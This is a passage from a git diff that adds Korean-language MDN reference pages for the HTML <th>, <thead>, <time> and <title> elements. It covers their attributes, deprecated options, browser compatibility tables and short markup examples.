+ <dd>The content in the cell element is aligned to a character. Typical values include a period (.) to align numbers or monetary values. If {{htmlattrxref("align", "th")}} is not set to <code>char</code>, this attribute is ignored.
+ <div class="note"><strong>Note:</strong> Do not use this attribute as it is obsolete in the latest standard. To achieve the same effect, you can specify the character as the first value of the {{cssxref("text-align")}} property, {{unimplemented_inline}} in CSS3.</div>
+ </dd>
+ <dt>{{htmlattrdef("charoff")}} {{obsolete_inline("html5")}}</dt>
+ <dd>This attribute is used to shift column data to the right of the character specified by the <strong>char</strong> attribute. Its value specifies the length of this shift.
+ <div class="note"><strong>Note: </strong>Do not use this attribute as it is obsolete in the latest standard.</div>
+ </dd>
+ <dt>{{htmlattrdef("colspan")}}</dt>
+ <dd>This attribute contains a non-negative integer value that indicates for how many columns the cell extends. Its default value is <code>1</code>. Values higher than 1000 will be considered as incorrect and will be set to the default value (1).</dd>
+ <dt>{{htmlattrdef("headers")}}</dt>
+ <dd>This attribute contains a list of space-separated strings, each corresponding to the <strong>id</strong> attribute of the {{HTMLElement("th")}} elements that apply to this element.</dd>
+ <dt>{{htmlattrdef("height")}} {{Deprecated_inline("html 4")}}, {{obsolete_inline("html5")}}</dt>
+ <dd>This attribute is used to define a recommended cell height.
+ <div class="note"><strong>Note: </strong>Do not use this attribute as it is obsolete in the latest standard: use the CSS {{cssxref("height")}} property instead.</div>
+ </dd>
+ <dt>{{htmlattrdef("rowspan")}}</dt>
+ <dd>This attribute contains a non-negative integer value that indicates for how many rows the cell extends. Its default value is <code>1</code>; if its value is set to <code>0</code>, it extends until the end of the table section ({{HTMLElement("thead")}}, {{HTMLElement("tbody")}}, {{HTMLElement("tfoot")}}, even if implicitly defined), that the cell belongs to. Values higher than 65534 are clipped down to 65534.</dd>
+ <dt>{{htmlattrdef("scope")}}</dt>
+ <dd>This enumerated attribute defines the cells that the header (defined in the {{HTMLElement("th")}}) element relates to. It may have the following values:
+ <ul>
+  <li><code>row</code>: The header relates to all cells of the row it belongs to.</li>
+  <li><code>col</code>: The header relates to all cells of the column it belongs to.</li>
+  <li><code>rowgroup</code>: The header belongs to a rowgroup and relates to all of its cells. These cells can be placed to the right or the left of the header, depending on the value of the <code><a href="/en-US/docs/Web/HTML/Global_attributes/dir">dir</a></code> attribute in the {{HTMLElement("table")}} element.</li>
+  <li><code>colgroup</code>: The header belongs to a colgroup and relates to all of its cells.</li>
+  <li><code>auto</code></li>
+ </ul>
+
+ <p>The default value when this attribute is not specified is <code>auto</code>.</p>
+ </dd>
+ <dt>{{htmlattrdef("valign")}} {{obsolete_inline("html5")}}</dt>
+ <dd>This attribute specifies how a text is vertically aligned inside a cell. Possible values for this attribute are:
+ <ul>
+  <li><code>baseline</code>: Positions the text near the bottom of the cell and aligns it with the <a href="https://en.wikipedia.org/wiki/Baseline_%28typography%29">baseline</a> of the characters instead of the bottom. If characters don't descend below the baseline, the baseline value achieves the same effect as <code>bottom</code>.</li>
+  <li><code>bottom</code>: Positions the text near the bottom of the cell.</li>
+  <li><code>middle</code>: Centers the text in the cell.</li>
+  <li>and <code>top</code>: Positions the text near the top of the cell.</li>
+ </ul>
+
+ <div class="note"><strong>Note:</strong> Do not use this attribute as it is obsolete in the latest standard: use the CSS {{cssxref("vertical-align")}} property instead.</div>
+ </dd>
+ <dt>{{htmlattrdef("width")}} {{Deprecated_inline("html 4")}}, {{obsolete_inline("html5")}}</dt>
+ <dd>This attribute is used to define a recommended cell width. Additional space can be added with the {{domxref("HTMLTableElement.cellSpacing", "cellspacing")}} and {{domxref("HTMLTableElement.cellPadding", "cellpadding")}} properties and the width of the {{HTMLElement("col")}} element can also create extra width. But, if a column's width is too narrow to show a particular cell properly, it will be widened when displayed.
+ <div class="note"><strong>Note:</strong> Do not use this attribute as it is obsolete in the latest standard: use the CSS {{cssxref("width")}} property instead.</div>
+ </dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>See {{HTMLElement("table")}} for examples on <code>&lt;th&gt;</code>.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG','tables.html#the-th-element','th element')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C','tabular-data.html#the-th-element','th element')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("html.elements.th")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Other table-related HTML Elements: {{HTMLElement("caption")}}, {{HTMLElement("col")}}, {{HTMLElement("colgroup")}}, {{HTMLElement("table")}}, {{HTMLElement("tbody")}}, {{HTMLElement("td")}}, {{HTMLElement("tfoot")}}, {{HTMLElement("thead")}}, {{HTMLElement("tr")}}.</li>
+</ul>
diff --git a/files/ko/web/html/element/thead/index.html b/files/ko/web/html/element/thead/index.html
new file mode 100644
index 0000000000..50164bfebc
--- /dev/null
+++ b/files/ko/web/html/element/thead/index.html
@@ -0,0 +1,270 @@
+---
+title: <thead>
+slug: Web/HTML/Element/thead
+translation_of: Web/HTML/Element/thead
+---
+<h2 id="개요">개요</h2>
+
+<p>The <em>HTML Table Head Element</em> (<code>&lt;thead&gt;</code>) defines a set of rows defining the head of the columns of the table.</p>
+
+<h2 id="사용_문맥">사용 문맥</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><a href="/en/HTML/Content_categories" title="en/HTML/Content categories">콘텐츠 범주</a></td>
+   <td>None.</td>
+  </tr>
+  <tr>
+   <td>허용되는 콘텐츠</td>
+   <td>Zero or more {{ HTMLElement("tr") }} elements.</td>
+  </tr>
+  <tr>
+   <td>태그 생략</td>
+   <td>The start tag is mandatory. The end tag may be omitted if the {{ HTMLElement("thead") }} element is immediately followed by a {{ HTMLElement("tbody") }} or {{ HTMLElement("tfoot") }} element.</td>
+  </tr>
+  <tr>
+   <td>허용되는 부모 요소</td>
+   <td>A {{ HTMLElement("table") }} element. The {{ HTMLElement("thead") }} must appear after any {{ HTMLElement("caption") }} or {{ HTMLElement("colgroup") }} element, even implicitly defined, but before any {{ HTMLElement("tbody") }}, {{ HTMLElement("tfoot") }} and {{ HTMLElement("tr") }} element.</td>
+  </tr>
+  <tr>
+   <td>Normative document</td>
+   <td><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/tabular-data.html#the-thead-element" rel="external nofollow" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/tabular-data.html#the-thead-element">HTML5, section 4.9.6</a> (<a href="http://www.w3.org/TR/REC-html40/struct/tables.html#edef-THEAD" title="http://www.w3.org/TR/REC-html40/struct/tables.html#edef-THEAD">HTML4.01, section 11.2.3</a>)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="속성">속성</h2>
+
+<p><span style="line-height: 21px;">This element includes the </span><a href="https://developer.mozilla.org/en-US/docs/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">global attributes</a><span style="line-height: 21px;">.</span></p>
+
+<dl>
+ <dt>{{ htmlattrdef("align") }} {{ Deprecated_inline() }} in {{ HTMLVersionInline("4") }}, {{ obsolete_inline() }} in {{ HTMLVersionInline("5") }}</dt>
+ <dd>This enumerated attribute specifies how horizontal alignment of each cell content will be handled. Possible values are:
+ <ul>
+  <li><code>left</code>, aligning the content to the left of the cell</li>
+  <li><code>center</code>, centering the content in the cell</li>
+  <li><code>right</code>, aligning the content to the right of the cell</li>
+  <li><code>justify</code>, inserting spaces into the textual content so that the content is justified in the cell</li>
+  <li><code>char</code>, aligning the textual content on a special character with a minimal offset, defined by the {{ htmlattrxref("char", "thead") }} and {{ htmlattrxref("charoff", "thead") }} attributes {{ unimplemented_inline("2212") }}.</li>
+ </ul>
+
+ <p>If this attribute is not set,  the <span style="font-family: courier new;">left</span> value is assumed.</p>
+
+ <div class="note"><strong>참고: </strong>Do not use this attribute as it is obsolete (not supported) in the latest standard.
+
+ <ul>
+  <li>To achieve the same effect as the <span style="font-family: courier new;">left</span>, <span style="font-family: courier new;">center</span>, <span style="font-family: courier new;">right</span> or <span style="font-family: courier new;">justify</span> values, use the CSS {{ cssxref("text-align") }} property on it.</li>
+  <li>To achieve the same effect as the <span style="font-family: courier new;">char</span> value, in CSS3, you can use the value of the {{ htmlattrxref("char", "thead") }} as the value of the {{ cssxref("text-align") }} property {{ unimplemented_inline() }}.</li>
+ </ul>
+ </div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{ htmlattrdef("bgcolor") }} {{ Non-standard_inline() }}</dt>
+ <dd>This attribute defines the background color of each cell of the column. It is one of the 6-digit hexadecimal code as defined in <a class="external" href="http://www.w3.org/Graphics/Color/sRGB" title="http://www.w3.org/Graphics/Color/sRGB">sRGB</a>, prefixed by a '#'. One of the sixteen predefined color strings may be used:
+ <table style="width: 80%;">
+  <tbody>
+   <tr>
+    <td style="background-color: black; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><span style="font-family: courier new;">black</span> = "#000000"</td>
+    <td style="background-color: green; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><span style="font-family: courier new;">green</span> = "#008000"</td>
+   </tr>
+   <tr>
+    <td style="background-color: silver; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><span style="font-family: courier new;">silver</span> = "#C0C0C0"</td>
+    <td style="background-color: lime; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><span style="font-family: courier new;">lime</span> = "#00FF00"</td>
+   </tr>
+   <tr>
+    <td style="background-color: gray; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><span style="font-family: courier new;">gray</span> = "#808080"</td>
+    <td style="background-color: olive; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><span style="font-family: courier new;">olive</span> = "#808000"</td>
+   </tr>
+   <tr>
+    <td style="background-color: white; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><span style="font-family: courier new;">white</span> = "#FFFFFF"</td>
+    <td style="background-color: yellow; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><span style="font-family: courier new;">yellow</span> = "#FFFF00"</td>
+   </tr>
+   <tr>
+    <td style="background-color: maroon; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><span style="font-family: courier new;">maroon</span> = "#800000"</td>
+    <td style="background-color: navy; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><span style="font-family: courier new;">navy</span> = "#000080"</td>
+   </tr>
+   <tr>
+    <td style="background-color: red; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><span style="font-family: courier new;">red</span> = "#FF0000"</td>
+    <td style="background-color: blue; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><span style="font-family: courier new;">blue</span> = "#0000FF"</td>
+   </tr>
+   <tr>
+    <td style="background-color: purple; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><span style="font-family: courier new;">purple</span> = "#800080"</td>
+    <td style="background-color: teal; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><span style="font-family: courier new;">teal</span> = "#008080"</td>
+   </tr>
+   <tr>
+    <td style="background-color: fuchsia; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><span style="font-family: courier new;">fuchsia</span> = "#FF00FF"</td>
+    <td style="background-color: aqua; width: 24px; height: 24px; border-width: 1px; border-color: black; border-style: solid;"> </td>
+    <td><span style="font-family: courier new;">aqua</span> = "#00FFFF"</td>
+   </tr>
+  </tbody>
+ </table>
+
+ <div class="note"><strong>Usage note: </strong>Do not use this attribute, as it is non-standard and only implemented in some versions of Microsoft Internet Explorer: the {{ HTMLElement("thead") }} element should be styled using <a href="/en/CSS" title="en/CSS">CSS</a>. To give a similar effect to the <strong>bgcolor</strong> attribute, use the <a href="/en/CSS" title="en/CSS">CSS</a> property {{ cssxref("background-color") }}, on the relevant {{ HTMLElement("td") }} or {{ HTMLElement("th") }} elements.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{ htmlattrdef("char") }} {{ Deprecated_inline() }} in {{ HTMLVersionInline("4") }}, {{ obsolete_inline() }} in {{ HTMLVersionInline("5") }}</dt>
+ <dd>This attribute is used to set the character to align the cells in a column on. Typical values for this include a period (.) when attempting to align numbers or monetary values. If {{ htmlattrxref("align", "tr") }} is not set to <span style="font-family: courier new;">char</span>, this attribute is ignored.
+ <div class="note"><strong>Note: </strong>Do not use this attribute as it is obsolete (and not supported) in the latest standard. To achieve the same effect as the {{ htmlattrxref("char", "thead") }}, in CSS3, you can use the character set using the {{ htmlattrxref("char", "thead") }} attribute as the value of the {{ cssxref("text-align") }} property {{ unimplemented_inline() }}.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{ htmlattrdef("charoff") }} {{ Deprecated_inline() }} in {{ HTMLVersionInline("4") }}, {{ obsolete_inline() }} in {{ HTMLVersionInline("5") }}</dt>
+ <dd>This attribute is used to indicate the number of characters to offset the column data from the alignment characters specified by the <strong>char</strong> attribute.
+ <div class="note"><strong>참고: </strong>Do not use this attribute as it is obsolete (and not supported) in the latest standard.</div>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{ htmlattrdef("valign") }} {{ Deprecated_inline() }} in {{ HTMLVersionInline("4") }}, {{ obsolete_inline() }} in {{ HTMLVersionInline("5") }}</dt>
+ <dd>This attribute specifies the vertical alignment of the text within each row of cells of the table header. Possible values for this attribute are:
+ <ul>
+  <li><span style="font-family: courier new;">baseline</span>, which will put the text as close to the bottom of the cell as it is possible, but align it on the <a class="external" href="http://en.wikipedia.org/wiki/Baseline_%28typography%29" title="http://en.wikipedia.org/wiki/Baseline_(typography)">baseline</a> of the characters instead of the bottom of them. If characters are all of the size, this has the same effect as <span style="font-family: courier new;">bottom</span>.</li>
+  <li><span style="font-family: courier new;">bottom</span>, which will put the text as close to the bottom of the cell as it is possible;</li>
+  <li><span style="font-family: courier new;">middle</span>, which will center the text in the cell;</li>
+  <li><span style="font-family: courier new;">top</span>, which will put the text as close to the top of the cell as it is possible.</li>
+ </ul>
+
+ <div class="note"><strong>Note: </strong>Do not use this attribute as it is obsolete (and not supported) in the latest standard: instead set the CSS {{ cssxref("vertical-align") }} property on it.</div>
+ </dd>
+</dl>
+
+<h2 id="DOM_인터페이스">DOM 인터페이스</h2>
+
+<p>This element implements the <code><a href="/en/DOM/HTMLTableSectionElement" title="en/DOM/HTMLTableSectionElement">HTMLTableSectionElement</a></code> interface.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>See {{ HTMLElement("table") }} for examples on<code> &lt;thead&gt;</code>.</p>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>기능</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{ CompatGeckoDesktop("1.0") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>align/valign</code> 속성</td>
+   <td>1.0</td>
+   <td>{{ CompatNo() }} {{ bug("915") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>char/charoff</code> 속성</td>
+   <td>1.0</td>
+   <td>{{ CompatNo() }} {{ bug("2212") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>bgcolor</code> 속성 {{ Non-standard_inline() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>기능</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("1.0") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>align/valign</code> 속성</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }} {{ bug("915") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>char/charoff</code> 속성</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatNo() }} {{ bug("2212") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>bgcolor</code> 속성 {{ Non-standard_inline() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>Other table-related HTML Elements: {{ HTMLElement("caption") }}, {{ HTMLElement("col") }}, {{ HTMLElement("colgroup") }}, {{ HTMLElement("table") }}, {{ HTMLElement("tbody") }}, {{ HTMLElement("td") }}, {{ HTMLElement("tfoot") }}, {{ HTMLElement("th") }}, {{ HTMLElement("tr") }};</li>
+ <li>CSS properties and pseudo-classes that may be specially useful to style the <span style="font-family: courier new;">&lt;thead&gt;</span> element:
+  <ul>
+   <li>the {{ cssxref(":nth-child") }} pseudo-class to set the alignment on the cells of the column;</li>
+   <li>the {{ cssxref("text-align") }} property to align all cells content on the same character, like '.'.&lt;</li>
+  </ul>
+ </li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/ko/web/html/element/time/index.html b/files/ko/web/html/element/time/index.html
new file mode 100644
index 0000000000..291c05b2b8
--- /dev/null
+++ b/files/ko/web/html/element/time/index.html
@@ -0,0 +1,169 @@
+---
+title: <time>
+slug: Web/HTML/Element/time
+tags:
+  - Element
+  - HTML
+  - HTML text-level semantics
+  - 'HTML:Flow content'
+  - 'HTML:Palpable Content'
+  - 'HTML:Phrasing content'
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/time
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;time&gt;</code> 요소</strong>는 시간의 특정 지점 또는 구간을 나타냅니다.</span> <code>datetime</code> 특성의 값을 지정해 보다 적절한 검색 결과나, 알림 같은 특정 기능을 구현할 때 사용할 수 있습니다.</p>
+
+<p><code>&lt;time&gt;</code> 요소가 나타낼 수 있는 시간은 다음과 같습니다.</p>
+
+<ul>
+ <li>24시간 표기법 시계의 시간.</li>
+ <li>정확한 <a href="https://ko.wikipedia.org/wiki/%EA%B7%B8%EB%A0%88%EA%B3%A0%EB%A6%AC%EB%A0%A5">그레고리력</a> 날짜. (시간대 정보 포함 가능)</li>
+ <li><a href="https://www.w3.org/TR/2014/REC-html5-20141028/infrastructure.html#valid-duration-string">유효한 시간 범위</a>.</li>
+</ul>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/time.html", "tabbed-shorter")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>모두</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLTimeElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("datetime")}}</dt>
+ <dd>요소의 시간 또는 날짜 값. 아래에서 설명하는 형식 중 하나여야 합니다.</dd>
+</dl>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p><code>&lt;time&gt;</code> 요소는 기계가 읽을 수 있는 형태로 날짜와 시간을 표현할 때 사용합니다. 예를 들어, 일정의 경우 사용자 에이전트가 자동으로 달력에 일정을 추가할 수 있도록 정확한 일시를 나타낼 수 있습니다.</p>
+
+<p>복잡한 계산상 문제로 인해, 그레고리력의 도입 이전 시간을 나타낼 때 사용해서는 안됩니다.</p>
+
+<p>기계가 읽을 날짜와 시간 값은 <code>datetime</code> 특성의 값으로, 아래의 적절한 형식 중 하나여야 합니다. <code>datetime</code> 특성이 없는 경우 <strong>어떠한 자식 요소도 두어서는 안되며</strong>, 요소의 텍스트 콘텐츠를 <code>datetime</code> 특성 값으로 간주합니다.</p>
+
+<h3 id="유효한_datetime_값">유효한 <code>datetime</code> 값</h3>
+
+<dl>
+ <dt>유효한 연도 문자열</dt>
+ <dd><code>2011</code></dd>
+ <dt>유효한 연-월 문자열</dt>
+ <dd><code>2011-11</code></dd>
+ <dt>유효한 연-월-일 문자열</dt>
+ <dd><code>2011-11-18</code></dd>
+ <dt>유효한 월-일 문자열</dt>
+ <dd><code>11-18</code></dd>
+ <dt>유효한 주차 문자열</dt>
+ <dd><code>2011-W47</code></dd>
+ <dt>유효한 시간 문자열</dt>
+ <dd><code>14:54</code></dd>
+ <dd><code>14:54:39</code></dd>
+ <dd><code>14:54:39.929</code></dd>
+ <dt>유효한 현지 날짜 및 시간 문자열</dt>
+ <dd><code>2011-11-18T14:54:39.929</code></dd>
+ <dd><code>2011-11-18 14:54:39.929</code></dd>
+ <dt>유효한 국제 날짜 및 시간 문자열</dt>
+ <dd><code>2011-11-18T14:54:39.929Z</code></dd>
+ <dd><code>2011-11-18T14:54:39.929-0400</code></dd>
+ <dd><code>2011-11-18T14:54:39.929-04:00</code></dd>
+ <dd><code>2011-11-18 14:54:39.929Z</code></dd>
+ <dd><code>2011-11-18 14:54:39.929-0400</code></dd>
+ <dd><code>2011-11-18 14:54:39.929-04:00</code></dd>
+ <dt>유효한 기간 문자열</dt>
+ <dd><code>PT4H18M3S</code></dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="간단한_예제">간단한 예제</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;The concert starts at &lt;time&gt;20:00&lt;/time&gt;.&lt;/p&gt;
+</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{ EmbedLiveSample('간단한_예제', 250, 60) }}</p>
+
+<h3 id="datetime_예제"><code>datetime</code> 예제</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;The concert took place on &lt;time datetime="2001-05-15 19:00"&gt;May 15&lt;/time&gt;.&lt;/p&gt;
+</pre>
+
+<h4 id="결과_2">결과</h4>
+
+<p>{{ EmbedLiveSample('datetime_예제', 250, 60) }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'text-level-semantics.html#the-time-element', '&lt;time&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName('HTML5.1')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'textlevel-semantics.html#the-time-element', '&lt;time&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>No change from {{SpecName('HTML5 W3C')}}</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'text-level-semantics.html#the-time-element', '&lt;time&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("html.elements.time")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>날짜와 시간 외 다른 종류의 값을 나타낼 수 있는 {{htmlelement("data")}} 요소.</li>
+</ul>
diff --git a/files/ko/web/html/element/title/index.html b/files/ko/web/html/element/title/index.html
new file mode 100644
index 0000000000..178a0d05ff
--- /dev/null
+++ b/files/ko/web/html/element/title/index.html
@@ -0,0 +1,134 @@
+---
+title: '<title>: 문서 제목 요소'
+slug: Web/HTML/Element/title
+tags:
+  - Element
+  - HTML
+  - HTML document metadata
+  - 'HTML:Metadata content'
+  - Reference
+  - Web
+  - 제목
+  - 창 제목
+  - 탭 제목
+  - 페이지 제목
+translation_of: Web/HTML/Element/title
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;title&gt;</code> 요소</strong>는 브라우저의 제목 표시줄이나 페이지 탭에 보이는 문서 제목을 정의합니다.</span> 텍스트만 포함할 수 있으며 태그를 포함하더라도 무시합니다.</p>
+
+<pre class="brush: html">&lt;title&gt;Grandma's Heavy Metal Festival Journal&lt;/title&gt;</pre>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
+   <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#메타데이터_콘텐츠">메타데이터 콘텐츠</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 콘텐츠</th>
+   <td>비어있지 않는 텍스트.</td>
+  </tr>
+  <tr>
+   <th scope="row">태그 생략</th>
+   <td>여는 태그와 닫는 태그 모두 필수입니다. <code>&lt;/title&gt;</code>이 없으면 브라우저가 페이지의 나머지 내용을 무시합니다.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 부모 요소</th>
+   <td>다른 <code>&lt;title&gt;</code> 요소를 포함하지 않은 {{htmlelement("head")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">가능한 ARIA 역할</th>
+   <td>없음</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM 인터페이스</th>
+   <td>{{domxref("HTMLTitleElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes" style="line-height: 21px;" title="HTML/Global attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p><code>&lt;title&gt;</code> 요소는 페이지의 {{HTMLElement("head")}} 안에서 사용해야 합니다.</p>
+
+<h3 id="페이지_제목과_SEO">페이지 제목과 SEO</h3>
+
+<p>페이지 제목은 {{glossary("SEO")}}에 큰 영향을 줍니다. 보통, 짧고 일반적인 이름보다 길고 상세한 제목이 더 좋은 성과를 내곤 합니다. {{glossary("search engine", "검색 엔진")}}이 결과 페이지의 순서를 결정하는 구성 요소 중 하나가 페이지 제목의 내용이기 때문입니다. 또한, 검색 결과에서 잠재적 독자의 주목을 끌 수 있는 최초 "훅"이 바로 제목입니다.</p>
+
+<p>다음은 좋은 제목을 작성할 때 참고할 수 있는 몇 가지 지침입니다.</p>
+
+<ul>
+ <li>하나 혹은 두 개의 단어로만 제목을 구성하는걸 피하세요. 콘텐츠를 설명하는 문장을 넣거나, 사전과 참고 문서의 경우 용어와 정의를 짝지어 사용하세요.</li>
